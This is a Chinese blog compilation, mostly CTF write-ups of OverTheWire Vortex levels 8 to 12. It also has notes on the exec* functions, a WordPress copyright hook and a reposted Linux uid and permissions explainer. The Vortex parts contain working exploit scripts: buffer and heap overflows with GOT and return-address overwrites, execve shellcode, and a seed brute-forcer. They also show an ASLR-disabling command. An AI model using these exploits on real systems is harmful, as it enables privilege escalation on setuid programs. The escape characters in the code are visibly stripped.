execve、execv、execvp、execle、execl、execlp这六个函数都是在父进程中fork一个子进程,然后在子进程中exec调用新程序。在这六个函数中只有execve是内核级系统调用,其余5个都是通过调用execve来实现。

这六个函数的区别,主要是在参数上,可以通过名字来方便记忆。

  • l表示参数为list,即形如:execl("/bin/sh", "-c", "id", NULL)

  • v表示参数为vector,即形如:char * const argv = {"/bin/sh", "-c", "id", NULL}; execv("/bin/sh", argv)

  • p表示在默认路径$PATH中查找

  • e表示参数中有环境变量,环境变量也是以vector的形式传递,作为最后一个参数

不得不说,这一关着实废了不少脑细胞,好在最后解决的还算满意。

这一关也是上来一个程序逆向,但是gdb打开看了之后,就震惊了,这简直和vortex8一模一样,那个折磨了好久的vortex8,然后这关就比vortex8多了一句话,no executable stack,但就是这一句话,让之前的所有方法全部报废。

没办法,只能从头来过,查资料之后再思前想后,终于得到如下方法:

通过溢出修改unsafecode返回地址为strcpy,通过strcpy,修改safecode中调用的函数(printf、fflush、sleep)的返回地址为system,从而通过system("/bin/sh")获得shell。

然后safecode处溢出格式为:

ebp return address
system nop * 4 address of "/bin/sh"

unsafecode处溢出格式为:

ebp return address
strcpy sleep dest src

其中dest为指向safecode的栈中返回地址的指针,src为指向用来覆盖safecode的栈的字符串的指针。其中sleep是为了防止主线程在strcpy完成后就直接退出或者崩溃而设置的,给子线程以足够的时间产生shell。

这样,我们就不可避免的需要对两个字符串精确定位,还是通过参数传递这两个字符串。

程序的栈分布:…->参数字符串->环境变量字符串->运行程序名->NULL->NULL->栈底

这样,首先得到栈底为0xffffe000,然后程序名为/vortex/vortex12,这样可以算得,字符串/bin/sh的地址为0xffffdfdf,src为0xffffdfd2(注意计算的时候要考虑这些字符串结尾的x00)。

然后,通过gdb,得到sleep的地址为0xf7ec5cd0,system的地址为0xf7fc3e30,strcpy的地址为0x080484b0,dest为0xf7e0b33c。

这样,我们得到启动程序如下:

#!/usr/bin/env python
#encoding:utf-8

import subprocess

sleep_addr = 'xd0x5cxecxf7'
sys_addr = 'x30x3exfcxf7'
cpy_addr = 'xb0x84x04x08'
sh_addr = 'xdfxdfxffxff'
dest = 'x3cxb3xe0xf7'
src = 'xd2xdfxffxff'
subprocess.Popen(['/vortex/vortex12', 'x90' * 1036 + cpy_addr + sleep_addr + dest + src, sys_addr + sh_addr + sh_addr, '/bin/sh'], env = {}).communicate()

然而,当我们运行这个程序的时候,结果并没有能够获得shell,仔细一想,便会发现还是在vortex8中遇到的老问题,即strcpy发生在了子线程调用函数之前,导致修改失去了意义。于是乎,反复运行N次之后,终于成功拿到了shell(中途还有一次崩溃,把nop * 4也替换成address of "/bin/sh"可以避免printf中崩溃),但是,不得不说,这样的结果并不能让我满意,那么我们如何像vortex8中一样,让主线程等候一段时间后再执行strcpy呢?

在这里,我们想要给主线程在strcpy执行之前加上一个sleep是极度困难的,直接插在strcpy前会导致sleep的时间为strcpy后面的那个sleep的地址,显然这个数是巨大的,不可行。

然后我企图通过调用无参数函数wait()来暂停,在另一个terminal上发送signal来启动,结果失败了,不知道为什么,也没继续研究。

然后我重新设计unsafecode处溢出格式如下:

ebp ret addr
sleep magic n strcpy sleep dest src

其中magic指针指向处的指令为:

   0x80486bf <main+159>:	pop    %ebp
   0x80486c0 <main+160>:	ret

我这里用的是main函数结尾处的两条指令,其它地方的类似这样的指令也可以。通过这样的指令,我们可以使得magic处的ret指令返回到strcpy中,实现我们需要的效果。然而,由于我们的字符串中不能出现x00,这也就意味着n至少为0x01010101,还是太大,不可行。

最后,我将sleep(n)换成了system("/bin/sh"),这样,我们运行这个程序之后,就会先得到一个已经没有权限的shell,然后等一会后手动Ctrl+D关掉这个shell之后,正常情况下就会又出现一个有权限的shell。

最终程序如下:

#!/usr/bin/env python
#encoding:utf-8

import subprocess

sleep_addr = 'xd0x5cxecxf7'
sys_addr = 'x30x3exfcxf7'
cpy_addr = 'xb0x84x04x08'
sh_addr = 'xdfxdfxffxff'
dest = 'x3cxb3xe0xf7'
src = 'xd2xdfxffxff'
ret_addr = 'xbfx86x04x08'
subprocess.Popen(['/vortex/vortex12', 'x90' * 1036 + sys_addr + ret_addr + sh_addr + cpy_addr + sleep_addr + dest + src, sys_addr + sh_addr + sh_addr, '/bin/sh'], env = {}).communicate()

至此,这一关得以解决。

这应该是第二次看到堆溢出的题,上次是babyfirst-heap,但不得不说,堆溢出真蛋疼,堆管理方法就一大堆,要想做堆溢出必须得先搞清楚其用的堆。

原题参见这里。从看到那一堆参考资料和长长的phkmalloc.c起就感觉整个世界都不好了。。。

不过东西虽多,搞清楚关键几点这题就能解决了。

首先讲下phkmalloc的几个概念:

  • malloc_pagesize:内存页一页的大小

  • malloc_pageshift:满足1 << malloc_pageshift = malloc_pagesize

  • malloc_pagemask:为malloc_pagesize – 1,从而使得addr % malloc_pagesize转化为addr & malloc_pagemask

  • malloc_origo:整个堆的起始地址 / malloc_pagesize,从而使得idx = ( page_address / malloc_pagesize ) – malloc_origo,idx为堆中页的编号

在phkmalloc中,每一页中的所有chunk大小相同,chunk分成三种大小,大的是指大小超过页大小一半的,中等和小的区别在于,对于中等大小的chunk,其堆头控制信息存储在专门的一个页上,对于小的chunk,其堆头控制信息存储在该chunk所在页。

现在让我们看看题目中的程序:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char *p;
    char *q;
    char *r;
    char *s;
    if (argc < 3)
    {
        exit(0);
    }
    p = (char *) malloc(0x800);
    q = (char *) malloc(0x10);
    r = (char *) malloc(0x800);
    strcpy(r , argv[1]);
    s = (char *) malloc(0x10);
    strncpy(s , argv[2], 0xf);
    exit(0);
}

程序一共分配了4次,两个0x800(中等chunk),两个0x10(小chunk),通过gdb观察一下分配出来的内存,发现分别为p = 0x804E000、q = 0x804F030、r = 0x804E800、s = 0x804F040,我们很明显可以看出,strcpy的时候,我们可以通过r,覆盖q所在页上的堆头信息,堆头信息结构:

struct pginfo {
    struct pginfo   *next;  /* next on the free list */
    void        *page;  /* Pointer to the page */
    u_short     size;   /* size of this page's chunks */
    u_short     shift;  /* How far to shift for this size chunks */
    u_short     free;   /* How many free chunks */
    u_short     total;  /* How many chunk */
    u_int       bits[1]; /* Which chunks are free */
};

在这里,我们需要的是改变s的值,也就是最后一次分配出来的内存地址,这样我们才能在后面的strncpy中修改我们想要修改的位置。然后查看malloc会发现,分配好后返回的指针是(u_char *)bp->page + k,也就是说是由pginfo中的page加上偏移值,那么之前的0x804F040也就是0x804F000+0x40,这样,我们只要覆盖掉page,就能够将s改成GOT表的位置,从而在exit(0)的时候获取对程序的控制。

objdump查看:

080485f0 <exit@plt>:
 80485f0:	ff 25 1c c0 04 08    	jmp    *0x804c01c
 80485f6:	68 38 00 00 00       	push   $0x38
 80485fb:	e9 70 ff ff ff       	jmp    8048570 <_init+0x30>

那么我们要将page改为0x804c01c – 0x40 = 0x804bfdc,然后栈底地址为0xffffe000,于是乎得到启动程序如下:

#!/usr/bin/env python

import subprocess

addr = 'x04xdfxffxff'
got_addr = 'xdcxbfx04x08'
shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
subprocess.Popen(['/vortex/vortex11', 'x90' * 0x804 + got_addr , addr + 'x90' * 500 + shellcode], env = {}).communicate()

运行之,成功拿到shell。

这一关本身并不难,只是由于种种蛋疼的原因,也耗费了我不少时间。

原题参见这里

题目就是它会输出20个随机数,让计算出生成这20个随机数的种子。由随机数算种子,想来应该是除了暴力对比没啥好办法了吧~~~

如果直接取前20个随机数,多进程对比,那只能说太靠人品了,还是规规矩矩反汇编吧,下面给出反汇编后仿写的代码:

int main()
{
    seed = times(&tms);
    seed += (tms.utime + tms.stime + tms.cutime + tms.cstime);
    seed += clock();
    seed += time(NULL);
    
    ass = (seed sar 0x1f) >> 0x18; // sar表示算术右移
    seed = 0x80 - (((seed + ass) & 0xff) - ass);
    
    real_seed = seed + time(NULL);
    srand(real_seed);
    for (int i = 0; i < seed; ++i) {
        rand();
    }
    
    printf("[");
    for (int i = 0; i < 20; ++i) {
        buffer[i] = rand();
        printf(" %08x,", buffer[i]);
    }
    printf("]");
    
    alarm(30);
    read(0, &ans, 4);
    if (ans == real_seed) {
        setresuid(geteuid(), geteuid(), geteuid());
        execlp("/bin/sh", "sh", "-i", NULL);
    } else {
        printf("Nope, try again");
    }
}

从代码中可以看出,首先rand()了seed次之后,才rand()出输出的20个数,所以只有当seed<=0时,输出的才是前20次rand()的结果。

再仔细观察seed,会发现seed的范围是128-255~128+255,即-127~383。而对于time(NULL)而言,由于其精度是到秒的,那么也就是说我们只要在运行这个程序前输出time(NULL),那么得到的基本就是这个程序中的取到time(NULL)不会错了。这样,实际上我们需要尝试的范围就只有511个数,很轻易就可以得到结果。

启动程序如下:

#include <stdio.h>
#include <unistd.h>

int main()
{
    printf("Time : %xn", time(NULL));
    execl("/vortex/vortex10", "", NULL);
    return 0;
}

暴力搜索结果的程序如下:

#include <stdio.h>
#include <time.h>

int main()
{
    int i, j;
    unsigned int aim[20];
    unsigned int tseed;
    int flag;
    scanf("Time : %xn[ ", &tseed);
    for (i = 0; i < 20; ++i) {
        scanf("%x,", aim + i);
    }
    for (i = 128 - 255; i <= 128 + 255; ++i) {
        srand(tseed + i);
        for (j = 0; j < i; ++j) {
            rand();
        }
        flag = 1;
        for (j = 0; j < 20; ++j) {
            if (rand() != aim[j]) {
                flag = 0;
                break;
            }
        }
        if (flag != 0) {
            tseed += i;
            char *ans = (char *)&tseed;
            printf("%.4sn", ans);
            printf("cat /etc/vortex_pass/vortex11n");
            break;
        }
    }
    return 0;
}

然后运行./search | ./startup,并把startup的输出输入给search即可得到password。

不得不说,这一关的难度着实吓了我一跳,最开始点进题目,发现没有解释,然后登进服务器,在/vortex/下竟然没发现vortex9,回去仔细一看,题目标题是BlackBox,心直接凉了。

没办法,抱着试试的想法,在根目录下搜了下,结果真的找到了个/var/mail/vortex9,里面竟然直接放着密码,还是可读的,无力吐槽,这真是隔几关就要发一次福利么,还发的这么直接,这简直就是比第0关还水!!!

PS:在/etc/vortex_pass/里面的那个vortex9就是用来逗我们的么,神马心态!

在网上看别人文章的时候,发现转载声明,于是思前想后,觉得自己也可以做一个~~~

我是使用的wordpress,本来以为应该很简单的,结果最开始竟然没搞定,所以决定记录一下。

首先最直接的想法是修改single.php模版,给页面直接给加上信息,但是这样并没有给RSS中文章加上转载声明。

于是乎,决定改成给the_content过滤器增加一个钩子,直接在文章最后增加信息,结果,由于我的摘要是用the_content('Read More →'),直接导致在文章列表页面每篇文章的后面也都被加上了转载声明。

然后又改成在模版里增加add_action,但是这样还是有和最开始一样的问题,RSS中没有增加声明。

接着研究了半天的the_content(在wp-includes/post-template.php中),发现the_content过滤器里面的的参数确实是只有一个$content,但是,却发现声明了全局变量,其中有一个叫$more,通过这个变量的值,可以判断出来调用the_content的时候,到底是要输出全文还是摘要。于是乎,最终将以下程序加到主题的functions.php中即可:

function add_copyright($content) {
    global $more;
    $title = get_the_title();
    if ($more && (is_single() || is_feed()) && (mb_strrchr($title, '(', 'utf-8') . '(转载)' !== $title)) {
        $content .= '<br/><p style="text-indent: 2em;">原文连接:<a href="' . get_permalink() . '">' . $title . '</a>,转载请注明出处。</p>';
    }
    return $content;
}
add_filter('the_content', 'add_copyright');

其中mb_strrchr处的判断,是为了防止给转载的别人的文章也加上了自己的转载声明(转载的文章标题要以"(转载)"结尾)。

然后用mb_strrchr的时候遇到个奇怪的问题,就是,如果最后参数不加'utf-8'的时候,返回的字符串是从找到的字符到原串结尾,但是加上之后,就变成从原串开头到找到的字符了。。。只能不明觉厉。。。

PS:之前忘记加上is_single() || is_feed()的判断,导致在留言版块中也出现了转载声明,现已改正~~~

网上关于uid这一块的东西多是多,只是大多都太乱了,今天偶然发现一个感觉很好的,mark一下~~~

1 名词解


</tbody> </table>

 

注:suid和sgid和下面所说的SUID和SGID含义不同,这里指的是某一个uid或gid的值,而下面的SUID和SGID是一个位(bit)是否设置。缩写相同会导致混淆,所以我用大小写来区分。

2 文件权限基础

2.1 用户的分类:文件的拥有者(owner,简称u)、文件的组ID对应的组用户(file'sgroup,简称g)、其它用户(others,简称o)。

   如果是所有用户(包括三种,all,简称a)。

 

2.2 对于一个文件用户可能有以下三种基本权限

 

uid(user id)

一个uid表示系统中的一个用户,可对应多个gid

gid(group id)

一个gid表示系统中的一个组,可对应多个uid

ruid(real user id)

一个进程的真实uid,如果不是root,进程间的signal必须是相同的ruid之间才能进行,例如子进程继承了父进程的ruid,所以可以互相signal。

rgid(real group id)

一个进程的真实gid

euid(effective user id)

一个进程的有效uid,当一个进程创建或访问文件时,用的不是ruid的权限,而是euid的权限。

egid(effective group id)

一个进程的有效gid,原理同上

suid(saved user id)

一个特权进程(privilege process,它的euid是特权值)在运行中间可能需要做一些非特权工作,就会将euid设置为某个非特权的,这时会将特权值存放在suid,注意,这时进程已经变成非特权进程(unprivileged process)了,而一般普通的非特权进程是无法主动把自己变成一个特权进程的,因为对euid的赋值只能是ruid、euid、suid之一,但由于前面把特权值存放在了suid,所以这时进程就可以恢复成特权进程了。

sgid(saved group id)

原理同上,给一个特权进程恢复的机会。

fsuid(file system user id)

linux引入的,单独控制对文件系统的访问权限,不过一旦euid发生变化,fsuid立即跟着变化。fsuid的用途是,允许一些程序(例如NFS server)拥有一些已知uid的对文件系统的访问权限,但是不拥有uid对应的发送signal的权限。也就是说,在不修改ruid、euid的情况下,就改变了文件系统访问权限。对fsuid的赋值只能是ruid、euid、suid之一。

fsgid(file system group id)

原理同上,赋值只能是rgid、egid、sgid之一。

文件

文件夹

读r

读文件

列出文件夹内容。屏蔽这个位可以对别人隐藏文件夹中各个文件名。

写w

写文件

创建或移除文件。屏蔽这个位可以使文件夹中的文件数目不变。

执行x

执行文件(run it as a program)

访问文件夹中的文件。如果不具有x权限:无法cd到这个文件夹;无法创建或删除文件(即使有文件夹w权限);无法读取或写入文件内容(即使对文件夹和文件本身都有rw权限)。

屏蔽这个位,用户唯一能做的就是查看文件夹有哪些文件。

 

结论是:必需对文件夹同时拥有wx权限,才能创建或删除文件;必需对文件夹拥有x权限并对文件拥有r或w权限,才能读或写文件。

 

2.3 还有三种特殊权限(影响可执行文件,有些系统还影响文件夹)

 

文件

文件夹

SUID(setuid bit)

如果设置,当文件执行时设置进程的euid,这个值是文件拥有者的uid

SGID(setgid bit)

如果设置,当文件执行时设置进程的egid,这个值是文件所属的组ID

某些系统中,如果对某文件夹设置了这个位,那么无论是拥有者属于哪个组,在此文件夹中创建的文件和此文件夹同组。

sticky bit

如果设置,执行文件时,即使程序结束,二进制映像也保存在swap分区,可以实现快速重启。但是linux并不支持这个特点。

对文件夹设置这个位,则只有此文件夹的拥有者,或者文件夹中文件的拥有者,或者超级用户才能重命名或删除文件。

Solaris有一个独有特性,针对不可执行文件,如果设置了这个位,不会在内核中缓冲。

 

2.4 某些文件系统相关属性

 

例如访问控制列表(ACLs,表示一个文件系统只能由哪些用户访问),一个文件能否被压缩、修改或核心转储,这些属性通常是通过文件系统特有的命令来设置的(例如ext2可以用chattr,FFS可以用chrflags)。

所以尽管文件本身的属性可能允许用户进行操作,但是实际操作还是会失败,例如:文件系统属性不允许,文件系统挂载为只读的。

 

2.5 一个文件创建的时候就会分配拥有者和组,通常来说,拥有者是当前用户,组是文件所属文件夹的组。不过这也不是绝对的,取决于操作系统和文件系统的不同。可以用chown和chgrp修改文件的拥有者和组。

3 文件权限修改(shell命令)

3.1 相关命令

添加、删除、修改用户或组(这些命令影响uid和gid):useradd/userdel/usermod/groupadd/groupdel/groupmod

修改文件拥有者:chown

修改文件所属组:chgrp

修改文件属性:chmod

设置忽略掩码:umask

 

3.2 chmod命令

 

下面详细说明一下chmod,首先我们看一下Linux中对文件权限的显示

  1. ---------- 1 guanxin root 0 12-28 09:35 empty.txt  
    -rwx------ 1 guanxin root 0 12-28 09:36 owner.txt  
    ----rwx--- 1 guanxin root 0 12-28 09:36 group.txt  
    -------rwx 1 guanxin root 0 12-28 09:36 others.txt

       

可以看到一共有10个位置,第一个位置标示文件类型(普通文件,d文件夹,b块设备文件,c字符设备文件,l链接文件,p命名管道文件,s套接字文件),接下来的9个位置分别是拥有者、文件所属组的组用户、其它用户的读、写、执行权限(如果不具有权限显示,具有权限显示一个对应字母)。

 

在Unix-like系统中,文件夹也是文件的一种,所以对于文件夹也可以设置权限。例如:

  1. drwxrwxr--  2 root    root     4096 12-28 09:36 test

       

以这个test文件夹为例,ug用户拥有全部权限,但是o用户只能ls test,因为具有r权限,但是不能cd test(这需要x权限),也不能rm -ftest/others.txt(这需要wx权限,注意!!!创建和删除文件只需要拥有文件夹的wx权限,而无需对文件本身具有任何权限,例如上面的empty.txt文件的权限是全空,但是用户只要拥有对test文件夹的wx权限,仍然可以删除它!!!)。

 

下面列举几个常用命令:

  1. chmod g+rwx test   # 给g用户添加rwx三种权限  
    chmod o-wx test    # 删除o用户的wx权限  
    chmod +x  haha.sh  # 给脚本haha.sh添加执行权限,前面没有指定用户,则默认是a,全部。

       

设置SUID位

  1. chmod u+s a.out  
    -rwsr-xr-x 1 guanxin root 7577 12-26 12:31 a.out

       

可以看到owner对应的x权限变成了小写s,如上所述,设置SUID位就会使运行这个文件时获得guanxin用户的权限。当然执行完,权限也就消失了。

一般这功能用于临时获取root权限,例如执行/usr/bin/passwd修改密码,需要访问修改/etc/passswd文件,而这个文件对其它用户而言是只读的,那我想修改自己的密码怎么办?答案是设置SUID位。

-rwsr-xr-x1 root root 27768 2007-01-07 /usr/bin/passwd

可以看到这个文件的拥有者是root,所以执行时会获得root权限。

对于文件夹设置SUID位是没有任何作用的,对于没有x权限的文件设置SUID位,结果是一个大写S标志。

  1. -rwS------ 1 guanxin root 15 12-28 10:57 owner.txt  
    echo haha >>owner.txt   # 如果对owner.txt进行修改,那么它会自动丢失大S属性。  
    -rw------- 1 guanxin root 20 12-28 11:26 owner.txt

       

鉴于SUID位容易有安全隐患,万一有人无意中设置被别人钻空子(使得运行特权进程后,不正常结束,通过缓冲区溢出或代码注入继续运行特权程序),所以许多操作系统会忽略对脚本的SUID设置。

设置SGID位

  1. chmod g+s a.out  
    -rwsr-sr-x 1 guanxin root 7577 12-26 12:31 a.out

       

这时g用户对应的x位变成了小s,它表示文件启动执行时,会获得root组的组权限(设置egid)。同样也是如果对不带x权限的文件设置,会显示大写S。 

如果对文件夹设置SGID位,表示在此文件夹中创建的文件,组都是和文件夹相同。

  1. drwxrwxrwx  2 root    root     4096 12-28 11:43 test      # 没对test文件夹设置SGID位  
    -rw-rw-r-- 1 guanxin2 guanxin2  0 12-28 11:43 haha3.txt   # 用户guanxin2创建的文件是创建者的名字和组  
    chmod g+s test  
    drwxrwsrwx  2 root    root     4096 12-28 11:43 test      # 对test文件夹设置SGID位  
    -rw-rw-r-- 1 guanxin2 root      0 12-28 11:45 haha4.txt   # 用户guanxin2创建的文件拥有者还是guanxin2,但是组变成了root

       

设置sticky bit

  1. chmod +t  a.out

       

4 进程权限修改(Linux系统C函数)

C函数可以用chmod/fchmod来修改文件属性。下面两个表格是在进程运行中如何修改uid和gid从而获得不同的权限(空白表示值不变)。

 

before call

ruid

euid

suid

fsuid

setuid( e )

euid != 0 (e是ruid、euid、suid之一)

e

e

euid == 0(注意,这种情况下,进程无法回到特权级,因为suid也变了。)

e

e

e

e

seteuid( e )

euid != 0 (e是ruid、euid、suid之一)

e

e

euid == 0

e

e

setreuid( r, e )

euid != 0 (r是ruid、euid之一,e是ruid、euid、suid之一)

r

e

e

e

euid == 0

r

e

e

e

setresuid( r, e, s )

euid != 0 (r,e, s是ruid、euid、suid之一)

r

e

s

e

euid == 0

r

e

s

e

setfsuid( f )

euid != 0 (f是ruid、euid、suid、fsuid之一)

f

euid == 0

f

 

before call

rgid

egid

sgid

fsgid

setgid( e )

euid != 0 (e是rgid、egid、sgid之一)

e

e

euid == 0

e

e

e

e

setegid( e )

euid != 0 (e是rgid、egid、sgid之一)

e

e

euid == 0

e

e

setregid( r, e )

euid != 0 (r是rgid、egid之一,e是rgid、egid、sgid之一)

r

e

e

e

euid == 0

r

e

e

e

setresgid( r, e, s )

euid != 0 (r,e, s是rgid、egid、sgid之一)

r

e

s

e

euid == 0

r

e

s

e

setfsgid( f )

euid != 0 (f是rgid、egid、sgid、fsgid之一)

f

euid == 0

f

参考文档

http://en.wikipedia.org/wiki/Sticky_bit

http://en.wikipedia.org/wiki/User_id

http://en.wikipedia.org/wiki/File_system_permissions

GNUcoreutils.info

http://blog.sina.com.cn/s/blog_4c23939b0100q4zl.html

http://www.2cto.com/os/201208/147429.html

http://en.wikipedia.org/wiki/Sgid

原文链接:http://blog.csdn.net/gogdizzy/article/details/8447204

前天心血来潮,决定再做一关vortex玩玩,结果真是做的痛哭流涕,心中从头到尾都感觉有千万只草泥马在奔腾不止,好在现在总算解决了。

原题参见这里,题目很简洁,就说了让逆向给出的程序,那么我们首先通过逆向,仿写出如下程序:

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>

void *safecode(void *handle) {
    while(1) {
        int var = 0;
        printf("%dn", var);
        fflush(stdout);
        sleep(1);
    }
}

void unsafecode(const char* arg0) {
    char buffer[1024];
    strcpy(buffer, arg0);
}

int main(int argc, char **argv) {
    pthread_t tid;
    pthread_create(&tid, NULL, safecode, NULL);
    setresgid(getgid(),getgid(),getgid());
    setresuid(getuid(),getuid(),getuid());
    unsafecode(argv[1]);
}

我们发现,这道题首先新开了一个线程,然后丢掉所有权限后,调用了unsafecode,在unsafecode中很明显有个strcpy存在溢出漏洞,采取和上一关相同的方法,修改返回地址,我们可以很容易的使程序运行我们自己的payload,从而产生shell。但是,这个shell对于我们来说是没有意义的,因为程序已经没有了权限。

很显然,我们无法在程序丢掉所有权限之前控制住这个程序,那么我们想要获得权限,就只有想办法去利用unsafecode控制住safecode,因为safecode是在丢掉权限之前开启的线程,所以它还有我们所想要的权限。

仔细观察会发现,safecode在不停的调用printf、fflush、sleep,那么对于我们而言,最好的办法莫过于利用unsafecode狙击GOT表,由于同一进程中的不同线程共用GOT表,那么我们便可以使得safecode运行到我们设定的payload中去。

确认想法后,便开始实现,首先通过gdb,得到unsafecode的返回地址与buffer间需要填充的字符数,为1036。

紧接着通过:

objdump -j .plt -d vortex8

得到:

08048490 <sleep@plt>:
 8048490:   ff 25 08 a0 04 08       jmp    *0x804a008
 8048496:   68 10 00 00 00          push   $0x10
 804849b:   e9 c0 ff ff ff          jmp    8048460 <_init+0x38>

那么我们只要把0x804a008处的值改为我们的payload地址即可。

利用和前几关相同的方式,我们将payload放在环境变量中,那么,我们获取栈底地址,为0xffffe000。

然后,需要注意的是,我们要利用死循环使主线程不会立即结束,给子线程足够的时间去产生shell,那么我们得到攻击程序如下:

#!/usr/bin/env python

import subprocess

addr = 'x04xddxffxff'
# x68x04xdfxffxff      pushl $0xffffdf04
# x8fx05x08xa0x04x08  popl (0x0804a008)
# xebxfe                  jmp self 死循环
code = 'x68x04xdfxffxff''x8fx05x08xa0x04x08''xebxfe'
shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
subprocess.Popen(['/vortex/vortex8', 'x90' * 1036 + addr], env = {'' : 'x90' * 500 + code + 'x90' * 500 + shellcode}).communicate()

这里由于我们需要两次定位payload(第一次是定位unsafecode的返回到的位置,从而修改GOT表;第二次是修改后GOT表应指向的shellcode地址),所以设置了两个nop缓冲区。

运行程序,我们便可以得到shell,通过id命令,我们可以检查我们得到的shell的权限确实为:

uid=5008(vortex8) gid=5008(vortex8) euid=5009(vortex9) groups=5009(vortex9),5008(vortex8)

至此,我们已经拿到了下一关的密码,但是游戏还没有结束,我们还可以尝试其它的方法。

看到有人想通过修改新线程栈中的返回地址来达到攻击的目的,结果失败了,于是好奇的研究了半天,最后终于发现了问题出在哪里。

首先讲下他实验的过程,实验开始前,先关闭ASLR:

echo 0 > /proc/sys/kernel/randomize_va_space

然后输出新线程栈信息:

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#define NUM_THREADS 3

int getebp() {
    __asm__("pop %eaxnpush %eax");
}

void *print_hello(void *threadid) {
   int stack=0x41414141;
   int stac2=0x42424242;
   long tid = (long)threadid;
   printf("thread #%ld! ebp:%p,stack:%pn"
    "%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|"
    "%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|n",
    tid, getebp(), &stack);
   pthread_exit(NULL);
}

int main (int argc, char *argv[]) {
    long t;
    pthread_t threads[NUM_THREADS];
    for(t=0; t<NUM_THREADS; t++)
        pthread_create(&threads[t], NULL, print_hello, (void *)t);
    pthread_exit(NULL);
}

得到:

thread #0! ebp:0xf7e3b398,stack:0xf7e3b38c
f7e45e00|00000000|42424242|41414141|f7e3b498|f7ff3ce0|f7e3b498|f7f9d96e|
00000000|f7e3bb70|f7e3bb70|f7e3bb70|f7e3b454|00000000|00000000|00000000|
00000000|00000000|f7e3bb70|00000000|00000000|00000000|00000000|00000000|
thread #1! ebp:0xf763a398,stack:0xf763a38c
00000000|00000001|42424242|41414141|00000000|00000000|f763a498|f7f9d96e|
00000001|f763ab70|f763ab70|f763ab70|f763a454|00000000|00000000|00000000|
00000000|00000000|f763ab70|00000000|00000000|00000000|00000000|00000000|
thread #2! ebp:0xf6e39398,stack:0xf6e3938c
00000000|00000002|42424242|41414141|00000000|00000000|f6e39498|f7f9d96e|
00000002|f6e39b70|f6e39b70|f6e39b70|f6e39454|00000000|00000000|00000000|
00000000|00000000|f6e39b70|00000000|00000000|00000000|00000000|00000000|

紧接着,利用得到的栈地址,修改栈中返回地址,指向win函数:

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#define NUM_THREADS 2
#define sleep(x) {printf("s:%dn",x); sleep(x); };

void win() {
    printf("WINn");
    exit(0);
}

void *print_hello(void *threadid) {
    for(;;) {
    printf("FORn");
    sleep(3);
    }
}

int main (int argc, char *argv[]) {
    long t;
    pthread_t threads[NUM_THREADS];
    for(t=0; t<NUM_THREADS; t++)
    pthread_create(&threads[t], NULL, print_hello, (void *)t);
    sleep(1);
    printf("OVERWRITEn");
    int addr = 0xf7e3b398;
    for(t=0;t<16;t++)
    *((unsigned int*)addr+t-16)=&win;
    sleep(5);
    printf("FAILn");
}

得到:

FOR
s:3
FOR
s:3
s:1
OVERWRITE
s:5
WIN

成功执行了win函数,于是在win中添加:

setreuid(0,0);
execlp("/bin/sh", "bin/sh", NULL);

得到结果:

FOR
s:3
FOR
s:3
s:1
OVERWRITE
s:5
FOR
s:3
WIN
FAIL
FOR

发现了一个奇怪的现象,即在win函数执行的时候,主线程也执行并结束了,通过debug,他判断出问题出在setreuid上。

本人于是按照他的思路尝试了一遍,果然出现了和他一样神奇的状况(话说似乎我还成功过了一次,仅一次!),然后注释掉setreuid后,果然是次次都能出shell,于是乎百思不得其解,各种查资料,最后总算是在各种资料堆和实验之中,找到了原因。

下面我们就来解释一下:

首先我们发现FAIL被输出了,也就是说程序并不是非正常终止,只是sleep函数似乎出了什么问题,并没有等到我们设定的时间,通过查资料,我们也发现了,sleep函数退出有两种情况:一是正常退出,返回0;二是有信号中断发生,返回剩余秒数。那么也就是说我们的实验中sleep函数接收到了信号中断。

尝试把sleep(5)替换成死循环for (;;);或者再增加一句sleep(5)后,发现,次次都能成功得到shell,也就是说我们之前的判断应该是正确的。然而,当我们通过signal函数设置捕获所有信号的时候,却发现什么信号都捕获不到。这下就让我迷惑了,资料中都说,捕获不到的信号是SIGKILL和SIGSTOP,然而,我们这里显然不会是这两种信号,因为我们的程序仍旧是正常在执行。

那么问题到底应该是出在了什么地方呢?仔细观察我们会发现,网上几乎所有的资料中,都无视了两个信号,编号为32和33的信号,这便是关键所在了,32号信号是SIGCANCEL,33号信号是SIGSETXID,这两个信号可能是与系统相关,具体不清楚,但至少在我的Ubuntu中应该是这样了,通过33号信号的名字就很明显可以看出,这个信号绝对跟setuid有着不解的联系。通过gdb,我们也会发现,我们的程序进入了一个叫做sighandler_setxid的函数中,一看便觉得这是SIGSETXID的信号处理函数。

最后,为了进一步确认我的想法,我写了个程序来测试:

#include <stdio.h>
#include <pthread.h>

void *sub()
{
    sleep(1);
    printf("Setuidn");
    setuid(0);
}

void main()
{
    pthread_t x;
    pthread_create(&x, NULL, &sub, NULL);
    printf("Beginn");
    pause();
    //sleep(5);
    printf("Endn");
}

会发现Setuid和End是在同一时间输出,然后程序结束,同时程序的errno为4(通过echo $?可以看到),代表Interrupted system call。而在注释掉setuid(0)后,程序输出了Setuid后便会一直停在那里等候,不会结束。

至此,我们便分析清楚了之前问题的原因,这也很好的解释了为什么之前实验中我会有一次成功(由于在不同的线程,那次setreuid在主线程的sleep(5)开始前运行),那么通过这种方法来破掉这一关应该也是可行的。

首先通过gdb,我们获取到子线程的ebp为0xf7e0b368,可以大概估计位置修改,这里我就利用gdb调试的结果精确定位了,子线程中sleep函数返回地址存在0xf7e0b33c,将该位置改为0xffffdf04即可。

#!/usr/bin/env python

import subprocess

addr = 'x04xddxffxff'
# xb9x3cxb3xe0xf7      mov $0xf7e0b33c, %ecx
# xc7x01x04xdfxffxff  movl $0xffffdf04, (%ecx)
# xebxfe                  jmp self 死循环
code = 'xb9x3cxb3xe0xf7''xc7x01x04xdfxffxff''xebxfe'
shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
subprocess.Popen(['/vortex/vortex8', 'x90' * 1036 + addr], env = {'' : 'x90' * 500 + code + 'x90' * 500 + shellcode}).communicate()

